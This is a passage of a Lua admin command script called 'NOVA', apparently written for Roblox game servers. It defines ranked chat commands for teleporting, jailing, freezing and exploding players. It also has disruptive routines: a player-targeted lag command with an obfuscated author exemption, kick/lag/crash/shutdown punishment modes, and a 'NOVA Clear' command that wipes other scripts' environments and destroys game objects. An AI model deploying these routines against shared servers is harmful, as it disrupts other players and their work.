2153 | Output("Tablet Rotation Increase : "..tostring(NOVA.TabletRotationIncrease) ,Data.Color,Speaker) | |
2154 | Output("PRI Type : "..tostring(NOVA.PRIType) ,Data.Color,Speaker) | |
2155 | Output("Players : "..tostring(#GetPlayersRaw()),Data.Color,Speaker) | |
2156 | Output("Replicators : "..#GetReplicators(),Data.Color,Speaker) | |
2157 | Output("# Commands : "..#NOVA.Commands,Data.Color,Speaker) | |
2158 | OutputImg("http://www.roblox.com/asset/?id=45120559","Image tablets work.",Data.Color,Speaker) | |
2159 | Output("Dismiss",NOVA.Colors.Red,Speaker) | |
2160 | end | |
2161 | ) | |
2162 | ||
2163 | AddCommand("Debug","debug",1,"Debugs the server.","No Arguments", | |
2164 | function(Msg,Speaker) | |
2165 | pcall(function() | |
2166 | NOVA.Services.Sounds.Sound:Destroy() | |
2167 | end) | |
2168 | NOVA.Sounds.Sound = Instance.new("Sound") | |
2169 | NOVA.Sounds.Sound.Name = "NOVA Sound" | |
2170 | NOVA.Services.Lighting.Ambient = NOVA.Colors.White | |
2171 | NOVA.Services.Lighting.ColorShift_Bottom = NOVA.Colors.Black | |
2172 | NOVA.Services.Lighting.ColorShift_Top = NOVA.Colors.Black | |
2173 | NOVA.Services.Lighting.ShadowColor = Color3.new(0.69,0.69,0.69) | |
2174 | NOVA.Services.Lighting.Brightness = 0.5 | |
2175 | NOVA.Services.Lighting.FogStart = 0 | |
2176 | NOVA.Services.Lighting.FogEnd = 100000 | |
2177 | NOVA.Services.Lighting.FogColor = Color3.new(0.74,0.74,0.74) | |
2178 | NOVA.Services.Lighting.TimeOfDay = 12 | |
2179 | pcall(function() game.Lighting.Sky:Remove() end) | |
2180 | pcall(function() | |
2181 | CreateLocalScript([[ | |
2182 | LocalPlayer = game:GetService("Players").LocalPlayer | |
2183 | LocalPlayer.CameraMode = Enum.CameraMode.Classic | |
2184 | Camera = workspace.CurrentCamera | |
2185 | Camera:SetRoll(0) | |
2186 | Camera.CameraType = "Custom" | |
2187 | Camera.FieldOfView = 70 | |
2188 | Camera.CameraSubject = game.Players.LocalPlayer.Character.Humanoid | |
2189 | ]],Speaker.Backpack) | |
2190 | end) | |
2191 | for Num,v in pairs(NOVA.Jails) do | |
2192 | pcall(function() v.Jail:Destroy() end) | |
2193 | table.remove(NOVA.Jails,Num) | |
2194 | end | |
2195 | for Num,v in pairs(NOVA.Fences) do | |
2196 | pcall(function() v.Fence:Destroy() end) | |
2197 | table.remove(NOVA.Fences,Num) | |
2198 | end | |
2199 | for _,v in pairs(NOVA.Services) do | |
2200 | v.Name = v.className | |
2201 | end | |
2202 | for _,v in pairs(GetRecursiveChildren(workspace,"SelectionBox",3)) do | |
2203 | local ShouldRemove = true | |
2204 | for _,Tablet in pairs(NOVA.Tablets) do | |
2205 | if v:IsDescendantOf(Tablet) then | |
2206 | ShouldRemove = false | |
2207 | end | |
2208 | end | |
2209 | if ShouldRemove == true then | |
2210 | v:remove() | |
2211 | end | |
2212 | end | |
2213 | for _,v in pairs(GetRecursiveChildren(workspace)) do if v:IsA("Message") or v:IsA("Hint") then v:Destroy() end end | |
2214 | ||
2215 | for _,v in pairs(GetPlayersRaw()) do | |
2216 | pcall(function() | |
2217 | if v.StarterGear == nil then | |
2218 | Instance.new("StarterGear",v) | |
2219 | end | |
2220 | end) | |
2221 | pcall(function() | |
2222 | v.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId="..v.userId | |
2223 | end) | |
2224 | end | |
2225 | pcall(function() Speaker.Character.Torso.Velocity = Vector3.new(0,0,0) end) | |
2226 | if #NOVA.Services.Teams:GetChildren() == 0 then | |
2227 | for _,v in pairs(GetPlayersRaw()) do | |
2228 | v.Neutral = true | |
2229 | end | |
2230 | end | |
2231 | ||
2232 | end | |
2233 | ) | |
2234 | ||
2235 | AddCommand("Respawn","rs",2,"Respawns the selected player.","<Player>", | |
2236 | function(Msg,Speaker) | |
2237 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
2238 | pcall(function() | |
2239 | v:LoadCharacter() | |
2240 | end) | |
2241 | end | |
2242 | end | |
2243 | ) | |
2244 | ||
2245 | AddCommand("Commands","cmds",0,"Lists the command.","No Arguments", | |
2246 | function(Msg,Speaker) | |
2247 | RemoveTablets(Speaker) | |
2248 | local Data = GetRankedTable(Speaker) | |
2249 | Output("Your current rank is "..GetRankName(Speaker).." ("..GetRank(Speaker)..")",Data.Color,Speaker) | |
2250 | Output("Click a tablet to see the commands for that rank.",Data.Color,Speaker) | |
2251 | Output("Get/ Commands",Data.Color,Speaker,nil, | |
2252 | function() | |
2253 | RemoveTablets(Speaker) | |
2254 | for _,v in pairs(NOVA.Commands) do | |
2255 | if v.Command:sub(1,3) == "get" then | |
2256 | Output(v.Name,Data.Color,Speaker,nil, | |
2257 | function() | |
2258 | RemoveTablets(Speaker) | |
2259 | Output("Name : "..v.Name,Data.Color,Speaker) | |
2260 | Output("Rank : "..v.Rank,Data.Color,Speaker) | |
2261 | Output("Command : "..v.Command,Data.Color,Speaker) | |
2262 | Output("Arguments : "..v.Args,Data.Color,Speaker) | |
2263 | Output("Description : "..v.Description,Data.Color,Speaker) | |
2264 | Output("Dismiss",NOVA.Colors.Red,Speaker) | |
2265 | end | |
2266 | ) | |
2267 | end | |
2268 | end | |
2269 | Output("Dismiss",NOVA.Colors.Red,Speaker) | |
2270 | Output("Back",NOVA.Colors.Blue,Speaker,nil,function() OnChatted(NOVA.Bet .. "cmds" .. NOVA.Bet,Speaker) end) | |
2271 | end | |
2272 | ) | |
2273 | for i=0,7 do | |
2274 | ||
2275 | Output("Rank "..i.." Commands",Data.Color,Speaker,nil,function() | |
2276 | RemoveTablets(Speaker) | |
2277 | for _,v in pairs(NOVA.Commands) do | |
2278 | if v.Rank == i then | |
2279 | Output(v.Name,Data.Color,Speaker,nil,function() | |
2280 | RemoveTablets(Speaker) | |
2281 | Output("Name : "..v.Name,Data.Color,Speaker) | |
2282 | Output("Rank : "..v.Rank,Data.Color,Speaker) | |
2283 | Output("Command : "..v.Command,Data.Color,Speaker) | |
2284 | Output("Arguments : "..v.Args,Data.Color,Speaker) | |
2285 | Output("Description : "..v.Description,Data.Color,Speaker) | |
2286 | Output("Dismiss",NOVA.Colors.Red,Speaker) | |
2287 | end) | |
2288 | end | |
2289 | end | |
2290 | Output("Dismiss",NOVA.Colors.Red,Speaker) | |
2291 | Output("Back",NOVA.Colors.Blue,Speaker,nil,function() OnChatted(NOVA.Bet .. "cmds" .. NOVA.Bet,Speaker) end) | |
2292 | end) | |
2293 | end | |
2294 | Output("ALL",Data.Color,Speaker,nil,function() | |
2295 | RemoveTablets(Speaker) | |
2296 | for _,v in pairs(NOVA.Commands) do | |
2297 | if GetRank(Speaker) >= v.Rank then | |
2298 | Output(v.Name,Data.Color,Speaker,nil,function() | |
2299 | RemoveTablets(Speaker) | |
2300 | Output("Name : "..v.Name,Data.Color,Speaker) | |
2301 | Output("Rank : "..v.Rank,Data.Color,Speaker) | |
2302 | Output("Command : "..v.Command,Data.Color,Speaker) | |
2303 | Output("Arguments : "..v.Args,Data.Color,Speaker) | |
2304 | Output("Description : "..v.Description,Data.Color,Speaker) | |
2305 | Output("Dismiss",NOVA.Colors.Red,Speaker) | |
2306 | end) | |
2307 | end | |
2308 | end | |
2309 | Output("Dismiss",NOVA.Colors.Red,Speaker) | |
2310 | Output("Back",NOVA.Colors.Blue,Speaker,nil,function() OnChatted(NOVA.Bet .. "cmds" .. NOVA.Bet,Speaker) end) | |
2311 | end) | |
2312 | Output("Dismiss",NOVA.Colors.Red,Speaker) | |
2313 | end | |
2314 | ) | |
2315 | ||
2316 | AddCommand("Disconnect","disconnect",6,"Disconnects the selected player.","No Arguments", | |
2317 | function(Msg,Speaker) | |
2318 | Instance.new("ManualSurfaceJointInstance",workspace) | |
2319 | end | |
2320 | ) | |
2321 | ||
2322 | AddCommand("Lag","lag",6,"lags the selected player.","<Player>", | |
2323 | function(Msg,Speaker) | |
2324 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
2325 | if v.Name == string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then | |
2326 | Output("Attempt to lag the editor, command will not be carried through.",NOVA.Colors.Red,Speaker,10) | |
2327 | else | |
2328 | pcall(function() | |
2329 | Lag(v) | |
2330 | end) | |
2331 | end | |
2332 | end | |
2333 | end | |
2334 | ) | |
2335 | ||
2336 | ||
2337 | AddCommand("PRI","pri",6,"view the PRI settings.","No Arguments", | |
2338 | function(Msg,Speaker) | |
2339 | RemoveTablets(Speaker) | |
2340 | Output("List","Random",Speaker,nil, | |
2341 | function() | |
2342 | RemoveTablets(Speaker) | |
2343 | for _,v in pairs(NOVA.Ranked) do | |
2344 | if v.InPRI == true then | |
2345 | OutputImg("http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name,v.Name,v.Color,Speaker,nil,function() | |
2346 | RemoveTablets(Speaker) | |
2347 | OnChatted(NOVA.Bet .. "pri" .. NOVA.Bet,Speaker) | |
2348 | end) | |
2349 | end | |
2350 | end | |
2351 | Output("Dismiss",NOVA.Colors.Red,Speaker) | |
2352 | end | |
2353 | ) | |
2354 | Output("Type","Random",Speaker,nil, | |
2355 | function() | |
2356 | RemoveTablets(Speaker) | |
2357 | Output("Kick",NOVA.Colors.Orange,Speaker,nil, | |
2358 | function() | |
2359 | NOVA.PRIType = "Kick" | |
2360 | RemoveTablets(Speaker) | |
2361 | OnChatted(NOVA.Bet .. "pri" .. NOVA.Bet,Speaker) | |
2362 | end | |
2363 | ) | |
2364 | Output("Lag",NOVA.Colors.Red,Speaker,nil, | |
2365 | function() | |
2366 | NOVA.PRIType = "Lag" | |
2367 | RemoveTablets(Speaker) | |
2368 | OnChatted(NOVA.Bet .. "pri" .. NOVA.Bet,Speaker) | |
2369 | end | |
2370 | ) | |
2371 | Output("Shutdown",NOVA.Colors.Orange,Speaker,nil, | |
2372 | function() | |
2373 | NOVA.PRIType = "Shutdown" | |
2374 | RemoveTablets(Speaker) | |
2375 | OnChatted(NOVA.Bet .. "pri" .. NOVA.Bet,Speaker) | |
2376 | end | |
2377 | ) | |
2378 | Output("Crash",NOVA.Colors.Orange,Speaker,nil, | |
2379 | function() | |
2380 | NOVA.PRIType = "Crash" | |
2381 | RemoveTablets(Speaker) | |
2382 | OnChatted(NOVA.Bet .. "pri" .. NOVA.Bet,Speaker) | |
2383 | end | |
2384 | ) | |
2385 | Output("Dismiss",NOVA.Colors.Red,Speaker) | |
2386 | end | |
2387 | ) | |
2388 | Output("Turn PRI On",NOVA.Colors.Red,Speaker,nil, | |
2389 | function() | |
2390 | NOVA.PRI = true | |
2391 | RemoveTablets(Speaker) | |
2392 | OnChatted(NOVA.Bet .. "pri" .. NOVA.Bet,Speaker) | |
2393 | end | |
2394 | ) | |
2395 | Output("Turn PRI Off",NOVA.Colors.Green,Speaker,nil, | |
2396 | function() | |
2397 | NOVA.PRI = false | |
2398 | RemoveTablets(Speaker) | |
2399 | OnChatted(NOVA.Bet .. "pri" .. NOVA.Bet,Speaker) | |
2400 | end | |
2401 | ) | |
2402 | Output("Dismiss",NOVA.Colors.Red,Speaker) | |
2403 | end | |
2404 | ) | |
2405 | ||
2406 | --[[ GET COMMANDS ]]-- | |
2407 | ||
2408 | AddCommand("Get Ranked","getranked",0,"Displays all the current players ranks.","No Arguments", | |
2409 | function(Msg,Speaker) | |
2410 | if #Msg == 0 or Msg == nil then | |
2411 | RemoveTablets(Speaker) | |
2412 | for _,v in pairs(NOVA.Ranks) do | |
2413 | local RankNumber = v[1] | |
2414 | local RankName = v[2] | |
2415 | Output(RankName.." ("..(RankNumber)..")",Color3.new((RankNumber)/10,(RankNumber)/10,(RankNumber)/10),Speaker,nil, | |
2416 | function() | |
2417 | RemoveTablets(Speaker) | |
2418 | for _,v in pairs(GetPlayersRaw()) do | |
2419 | if GetRank(v) == RankNumber then | |
2420 | OutputImg("http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name,v.Name,GetRankedTable(v).Color,Speaker,nil, | |
2421 | function() | |
2422 | PlayerInterface(v,Speaker) | |
2423 | end | |
2424 | ) | |
2425 | end | |
2426 | end | |
2427 | Output("Done",NOVA.Colors.Blue,Speaker,nil, | |
2428 | function() | |
2429 | OnChatted(NOVA.Bet .. "getranked" .. NOVA.Bet,Speaker) | |
2430 | end | |
2431 | ) | |
2432 | Output("Dismiss",NOVA.Colors.Red,Speaker) | |
2433 | end | |
2434 | ) | |
2435 | end | |
2436 | Output("ALL",NOVA.Colors.Blue,Speaker,nil, | |
2437 | function() | |
2438 | RemoveTablets(Speaker) | |
2439 | for _,v in pairs(GetPlayersRaw()) do | |
2440 | OutputImg("http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name,v.Name,GetRankedTable(v).Color,Speaker,nil, | |
2441 | function() | |
2442 | PlayerInterface(v,Speaker) | |
2443 | end | |
2444 | ) | |
2445 | end | |
2446 | ||
2447 | Output("Done",NOVA.Colors.Blue,Speaker,nil, | |
2448 | function() | |
2449 | OnChatted(NOVA.Bet .. "getranked" .. NOVA.Bet,Speaker) | |
2450 | end | |
2451 | ) | |
2452 | Output("Dismiss",NOVA.Colors.Red,Speaker) | |
2453 | end | |
2454 | ) | |
2455 | Output("Dismiss",NOVA.Colors.Red,Speaker) | |
2456 | else | |
2457 | PlayerInterface(GetPlayers(Msg,Speaker)[1],Speaker) | |
2458 | end | |
2459 | end | |
2460 | ) | |
2461 | ||
2462 | AddCommand("Set Description","setdesc",6,"Sets the selected player's description.","<Player><Description>", | |
2463 | function(Msg,Speaker) | |
2464 | Split = GetSplit(Msg) | |
2465 | for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do | |
2466 | GetRankedTable(v).Desc = Msg:sub(Split+1) | |
2467 | SyncRankOutSingular(v) | |
2468 | end | |
2469 | end | |
2470 | ) | |
2471 | ||
2472 | AddCommand("Get CMD","getcmd",0,"Toggles the CMD bar on your screen.","<BoolValue>", | |
2473 | function(Msg,Speaker) | |
2474 | if Msg == "true" then | |
2475 | GetRankedTable(Speaker).CMD = true | |
2476 | elseif Msg == "false" then | |
2477 | GetRankedTable(Speaker).CMD = false | |
2478 | pcall(function() Speaker.PlayerGui:FindFirstChild("NOVACMD"):Remove() end) | |
2479 | else Output("Please choose a proper bool value. ( true / false )",NOVA.Colors.Orange,Speaker,5) | |
2480 | end | |
2481 | SyncRankOutSingular(Speaker) | |
2482 | end | |
2483 | ) | |
2484 | ||
2485 | AddCommand("Get Build Tools","getbtools",1,"Gives the speaker building tools.","No Arguments", | |
2486 | function(Msg,Speaker) | |
2487 | pcall(function() | |
2488 | for i=1,4 do | |
2489 | Instance.new("HopperBin",Speaker.Backpack).BinType = i | |
2490 | end | |
2491 | end) | |
2492 | end | |
2493 | ) | |
2494 | ||
2495 | AddCommand("Get Reset","getreset",0,"Resets the speaker's character.","No Arguments", | |
2496 | function(Msg,Speaker) | |
2497 | pcall(function() | |
2498 | Speaker:LoadCharacter() | |
2499 | end) | |
2500 | end | |
2501 | ) | |
2502 | ||
2503 | AddCommand("Get Fixed Character Appearance","get/fixchar",0,"Fixes the Speaker's character appearance.","No Arguments", | |
2504 | function(Msg,Speaker) | |
2505 | Speaker.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId="..Speaker.userId | |
2506 | end | |
2507 | ) | |
2508 | ||
2509 | AddCommand("Give Build Tools","givebtools",1,"Gives the selected player building tools.","<Player>", | |
2510 | function(Msg,Speaker) | |
2511 | pcall(function() | |
2512 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
2513 | for i=1,4 do | |
2514 | Instance.new("HopperBin",Speaker.Backpack).BinType = i | |
2515 | end | |
2516 | end | |
2517 | end) | |
2518 | end | |
2519 | ) | |
2520 | ||
2521 | AddCommand("Set Rank","setrank",0,"Allows you to change the rank of others.","<Player><Rank>", | |
2522 | function(Msg,Speaker) | |
2523 | local Split = GetSplit(Msg) | |
2524 | for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do | |
2525 | if GetRank(Speaker) > GetRank(v) then | |
2526 | if tonumber(Msg:sub(Split+1)) > GetRank(Speaker) then | |
2527 | Output("You cannot set a rank that high.",NOVA.Colors.Orange,Speaker,5) | |
2528 | else | |
2529 | GetRankedTable(v).Rank = tonumber(Msg:sub(Split+1)) | |
2530 | SyncRankOutSingular(v) | |
2531 | end | |
2532 | end | |
2533 | end | |
2534 | end | |
2535 | ) | |
2536 | ||
2537 | AddCommand("Teleport","tp",2,"Teleports one player to another.","<Player><Player>", | |
2538 | function(Msg,Speaker) | |
2539 | ||
2540 | Split = GetSplit(Msg) | |
2541 | send = GetPlayers(string.sub(Msg,1,Split - 1),Speaker) | |
2542 | to = GetPlayers(string.sub(Msg,Split+1),Speaker) | |
2543 | for _,a in pairs(send) do | |
2544 | for _,b in pairs(to) do | |
2545 | pcall(function() | |
2546 | a.Character.Torso.CFrame = b.Character.Torso.CFrame | |
2547 | end) | |
2548 | end | |
2549 | end | |
2550 | end | |
2551 | ) | |
2552 | ||
2553 | AddCommand("Circle Teleport","ctp",2,"Teleports one player to another.","<Player><Player>", | |
2554 | function(Msg,Speaker) | |
2555 | ||
2556 | Split = GetSplit(Msg) | |
2557 | send = GetPlayers(string.sub(Msg,1,Split - 1),Speaker) | |
2558 | to = GetPlayers(string.sub(Msg,Split+1),Speaker)[1] | |
2559 | for i, player in pairs(send) do | |
2560 | pcall(function() | |
2561 | player.Character.Torso.CFrame = CFrame.new(to.Character.Torso.Position) | |
2562 | * CFrame.Angles(0, math.rad(i * 360 / #send), 0) | |
2563 | * CFrame.new(0, 0, 3 + (#send*2) ) | |
2564 | end) | |
2565 | end | |
2566 | end | |
2567 | ) | |
2568 | ||
2569 | AddCommand("Walkspeed","ws",2,"Sets the selected player walkspeed to the following number.","<Player><Number>", | |
2570 | function(Msg,Speaker) | |
2571 | Split = GetSplit(Msg) | |
2572 | for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do | |
2573 | pcall(function() v.Character.Humanoid.WalkSpeed = tonumber(Msg:sub(Split+1)) end) | |
2574 | end | |
2575 | end | |
2576 | ) | |
2577 | ||
2578 | AddCommand("Explode","expl",2,"Explodes the selected player.","<Player>", | |
2579 | function(Msg,Speaker) | |
2580 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
2581 | pcall(function() | |
2582 | v.Character:BreakJoints() | |
2583 | E = Instance.new("Explosion",NOVA.Services.Workspace) | |
2584 | E.Position = v.Character.Torso.Position | |
2585 | E.BlastPressure = 124000 | |
2586 | end) | |
2587 | end | |
2588 | end | |
2589 | ) | |
2590 | ||
2591 | AddCommand("Infinite Health","inf",2,"Sets the selected player health to math.huge.","<Player>", | |
2592 | function(Msg,Speaker) | |
2593 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
2594 | pcall(function() | |
2595 | v.Character.Humanoid.MaxHealth = math.huge | |
2596 | end) | |
2597 | end | |
2598 | end | |
2599 | ) | |
2600 | ||
2601 | AddCommand("God","god",2,"makes the selected player god.","<Player>", | |
2602 | function(Msg,Speaker) | |
2603 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
2604 | pcall(function() | |
2605 | v.Character.Torso.Touched:connect(function(part) | |
2606 | if not part:IsDescendantOf(v.Character) and not part.Anchored == true and part ~= Crown then | |
2607 | part.CanCollide = true | |
2608 | part:BreakJoints() | |
2609 | for i=1,3 do Instance.new("Fire",part).Color = Color3.new(255,255,255) end | |
2610 | end | |
2611 | end) | |
2612 | end) | |
2613 | end | |
2614 | end | |
2615 | ) | |
2616 | ||
2617 | AddCommand("Punish","punish",2,"Reparents the selected player's character parent lighting.","<Player>", | |
2618 | function(Msg,Speaker) | |
2619 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
2620 | pcall(function() | |
2621 | v.Character.Parent = NOVA.Services.Lighting | |
2622 | end) | |
2623 | end | |
2624 | end | |
2625 | ) | |
2626 | ||
2627 | AddCommand("Un Punish","unpunish",2,"Reparents the selected player's character parent workspace.","<Player>", | |
2628 | function(Msg,Speaker) | |
2629 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
2630 | pcall(function() | |
2631 | v.Character.Parent = NOVA.Services.Workspace | |
2632 | v.Character:MakeJoints() | |
2633 | pcall(function() v.Character.Animate.Disabled = false end) | |
2634 | end) | |
2635 | end | |
2636 | end | |
2637 | ) | |
2638 | ||
2639 | AddCommand("Freeze","freeze",2,"Anchor the selected player('s/s') character('s).","<Player>", | |
2640 | function(Msg,Speaker) | |
2641 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
2642 | pcall(function() | |
2643 | for _,part in pairs(v.Character:GetChildren()) do | |
2644 | pcall(function() | |
2645 | part.Anchored = true | |
2646 | end) | |
2647 | end | |
2648 | end) | |
2649 | end | |
2650 | end | |
2651 | ) | |
2652 | ||
2653 | AddCommand("Thaw","thaw",2,"Un anchor the selected player('s/s') character('s).","<Player>", | |
2654 | function(Msg,Speaker) | |
2655 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
2656 | pcall(function() | |
2657 | for _,part in pairs(v.Character:GetChildren()) do | |
2658 | pcall(function() | |
2659 | part.Anchored = false | |
2660 | end) | |
2661 | end | |
2662 | end) | |
2663 | end | |
2664 | end | |
2665 | ) | |
2666 | ||
2667 | AddCommand("Remove Tools","rtools",2,"Removes the selected player tools.","<Player>", | |
2668 | function(Msg,Speaker) | |
2669 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
2670 | pcall(function() | |
2671 | for _,part in pairs(v.Backpack:GetChildren()) do | |
2672 | part:Destroy() | |
2673 | end | |
2674 | end) | |
2675 | end | |
2676 | end | |
2677 | ) | |
2678 | ||
2679 | AddCommand("Remove Backpack","rbp",2,"Removes the selected player backpack.","<Player>", | |
2680 | function(Msg,Speaker) | |
2681 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
2682 | pcall(function() | |
2683 | v.Backpack:Destroy() | |
2684 | end) | |
2685 | end | |
2686 | end | |
2687 | ) | |
2688 | ||
2689 | AddCommand("Sit","sit",2,"Makes the selected player sit down.","<Player>", | |
2690 | function(Msg,Speaker) | |
2691 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
2692 | pcall(function() GetRecursiveChildren(v.Character,"Humanoid",3)[1].Name = "Humanoid" end) | |
2693 | pcall(function() v.Character.Humanoid.Sit = true end) | |
2694 | end | |
2695 | end | |
2696 | ) | |
2697 | ||
2698 | AddCommand("Stand","stand",2,"Makes the selected player stand up.","<Player>", | |
2699 | function(Msg,Speaker) | |
2700 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
2701 | pcall(function() GetRecursiveChildren(v.Character,"Humanoid",3)[1].Name = "Humanoid" end) | |
2702 | pcall(function() v.Character.Humanoid.Sit = false end) | |
2703 | end | |
2704 | end | |
2705 | ) | |
2706 | ||
2707 | AddCommand("Jump","jump",2,"Makes the selected player jump.","<Player>", | |
2708 | function(Msg,Speaker) | |
2709 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
2710 | pcall(function() GetRecursiveChildren(v.Character,"Humanoid",3)[1].Name = "Humanoid" end) | |
2711 | pcall(function() v.Character.Humanoid.Jump = true end) | |
2712 | end | |
2713 | end | |
2714 | ) | |
2715 | ||
2716 | AddCommand("Control","control",2,"Controls the selected player","<Player>", | |
2717 | function(Msg,Speaker) | |
2718 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
2719 | pcall(function() | |
2720 | Speaker.Character = v.Character | |
2721 | end) | |
2722 | end | |
2723 | end | |
2724 | ) | |
2725 | ||
2726 | AddCommand("Transparent","trans",2,"Makes the selected player transparent","<Player>", | |
2727 | function(Msg,Speaker) | |
2728 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
2729 | pcall(function() | |
2730 | for _,v in pairs(GetRecursiveChildren(v.Character,"BasePart",3)) do | |
2731 | coroutine.resume(coroutine.create(function() | |
2732 | for i=1,10 do | |
2733 | wait() | |
2734 | v.Transparency = v.Transparency + 0.1 | |
2735 | end | |
2736 | end)) | |
2737 | end | |
2738 | end) | |
2739 | end | |
2740 | end | |
2741 | ) | |
2742 | ||
2743 | AddCommand("Visible","visible",2,"Makes the selected player visible.","<Player>", | |
2744 | function(Msg,Speaker) | |
2745 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
2746 | pcall(function() | |
2747 | for _,v in pairs(GetRecursiveChildren(v.Character,"BasePart",3)) do | |
2748 | coroutine.resume(coroutine.create(function() | |
2749 | for i=1,10 do | |
2750 | wait() | |
2751 | v.Transparency = v.Transparency - 0.1 | |
2752 | end | |
2753 | end)) | |
2754 | end | |
2755 | end) | |
2756 | end | |
2757 | end | |
2758 | ) | |
2759 | ||
2760 | AddCommand("Remove Hats","rhats",2,"Remove the hat of the selected player.","<Player>", | |
2761 | function(Msg,Speaker) | |
2762 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
2763 | pcall(function() | |
2764 | for _,part in pairs(v.Character:GetChildren()) do if part:IsA("Hat") then part:Remove() end end | |
2765 | end) | |
2766 | end | |
2767 | end | |
2768 | ) | |
2769 | ||
2770 | AddCommand("Remove Humanoid","rhum",2,"Remove the humanoid of the selected player.","<Player>", | |
2771 | function(Msg,Speaker) | |
2772 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
2773 | pcall(function() | |
2774 | for _,part in pairs(v.Character:GetChildren()) do if part:IsA("Humanoid") then part:Remove() end end | |
2775 | end) | |
2776 | end | |
2777 | end | |
2778 | ) | |
2779 | ||
2780 | AddCommand("Jail","jail",2,"Puts the selected player in jail.","<Player>", | |
2781 | function(Msg,Speaker) | |
2782 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
2783 | pcall(function() | |
2784 | coroutine.resume(coroutine.create(function() | |
2785 | local MainCF = v.Character.Torso.CFrame | |
2786 | local Main = Instance.new("Model",workspace) | |
2787 | Main.Name = "Main" | |
2788 | table.insert(NOVA.Jails,{Jail = Main, Player = v,Speaker = Speaker}) | |
2789 | for Pitch = 1, 360, 360 do | |
2790 | for Yaw = 1, 360, 360/13 do | |
2791 | for Angle = 1,180, 8 do | |
2792 | local Part = Instance.new("Part",Main) | |
2793 | Part.Name = "Part" | |
2794 | Part.FormFactor = "Custom" | |
2795 | Part.TopSurface = "Smooth" | |
2796 | Part.BottomSurface = "Smooth" | |
2797 | Part.Reflectance = 0 | |
2798 | Part.Transparency = 0 | |
2799 | Part.Anchored = true | |
2800 | Part.Locked = true | |
2801 | Part.CanCollide = true | |
2802 | Part.BrickColor = BrickColor.new("Navy blue") | |
2803 | Part.Size = Vector3.new(2,1,4) | |
2804 | Part.CFrame = MainCF | |
2805 | * CFrame.Angles(math.rad(Pitch),math.rad(Yaw),math.rad(Angle)) | |
2806 | * CFrame.new(0,5,0) | |
2807 | local Mesh = Instance.new("BlockMesh",Part) | |
2808 | Mesh.Scale = Vector3.new(1,1,0.1) | |
2809 | if math.floor(Angle/5) == Angle/5 then | |
2810 | wait() | |
2811 | end | |
2812 | end | |
2813 | end | |
2814 | end | |
2815 | v.Character.Torso.CFrame = MainCF | |
2816 | while Main.Parent ~= nil do | |
2817 | wait() | |
2818 | pcall(function() | |
2819 | if (v.Character.Torso.CFrame.p - MainCF.p).magnitude > 6 then | |
2820 | v.Character.Torso.CFrame = MainCF | |
2821 | end | |
2822 | end) | |
2823 | end | |
2824 | end)) | |
2825 | end) | |
2826 | end | |
2827 | end | |
2828 | ) | |
2829 | ||
2830 | AddCommand("Un Jail","unjail",2,"Un jails the selected player.","<Player>", | |
2831 | function(Msg,Speaker) | |
2832 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
2833 | for Num,Jail in pairs(NOVA.Jails) do | |
2834 | if Jail.Player ~= nil and Jail.Player == v then | |
2835 | pcall(function() Jail.Jail:Destroy() end) | |
2836 | table.remove(NOVA.Jails,Num) | |
2837 | end | |
2838 | end | |
2839 | end | |
2840 | end | |
2841 | ) | |
2842 | ||
2843 | AddCommand("NOVA Clear","NOVA",6,"Clears the game.","No Arguments", | |
2844 | function(Msg,Speaker) | |
2845 | for i,v in pairs(_G) do | |
2846 | if type(v) == "function" and getfenv(v).NOVA == nil then | |
2847 | for var,val in pairs(getfenv(v)) do | |
2848 | pcall(function() getfenv(v)[var] = nil end) | |
2849 | end | |
2850 | end | |
2851 | end | |
2852 | for i,v in pairs(_G) do | |
2853 | _G[i] = nil | |
2854 | end | |
2855 | SetGlobals() | |
2856 | for _,v in pairs(NOVA.Services) do | |
2857 | v.Name = "Unknown Exception" | |
2858 | end | |
2859 | for i,v in pairs(GetRecursiveChildren()) do | |
2860 | pcall(function() | |
2861 | if not v:IsA("Player") then | |
2862 | pcall(function() | |
2863 | if Prometheus ~= nil and v == Prometheus.script("lushmylife") then | |
2864 | else | |
2865 | pcall(function() | |
2866 | v.Disabled = true | |
2867 | end) | |
2868 | pcall(function() | |
2869 | NOVA.Services.Debris:AddItem(v,0) | |
2870 | end) | |
2871 | end | |
2872 | end) | |
2873 | end | |
2874 | end) | |
2875 | end | |
2876 | for _,v in pairs(NOVA.Services) do | |
2877 | v.Name = v.className | |
2878 | end | |
2879 | local Base=Instance.new("Part",NOVA.Services.Workspace) | |
2880 | Base.Name="Base" | |
2881 | Base.Size=Vector3.new(2048,1,2048) | |
2882 | Base.BrickColor=BrickColor.new("Bright green") | |
2883 | Base.Anchored=true | |
2884 | Base.Locked=true | |
2885 | Base.TopSurface="Smooth" | |
2886 | Base.Transparency = 1 | |
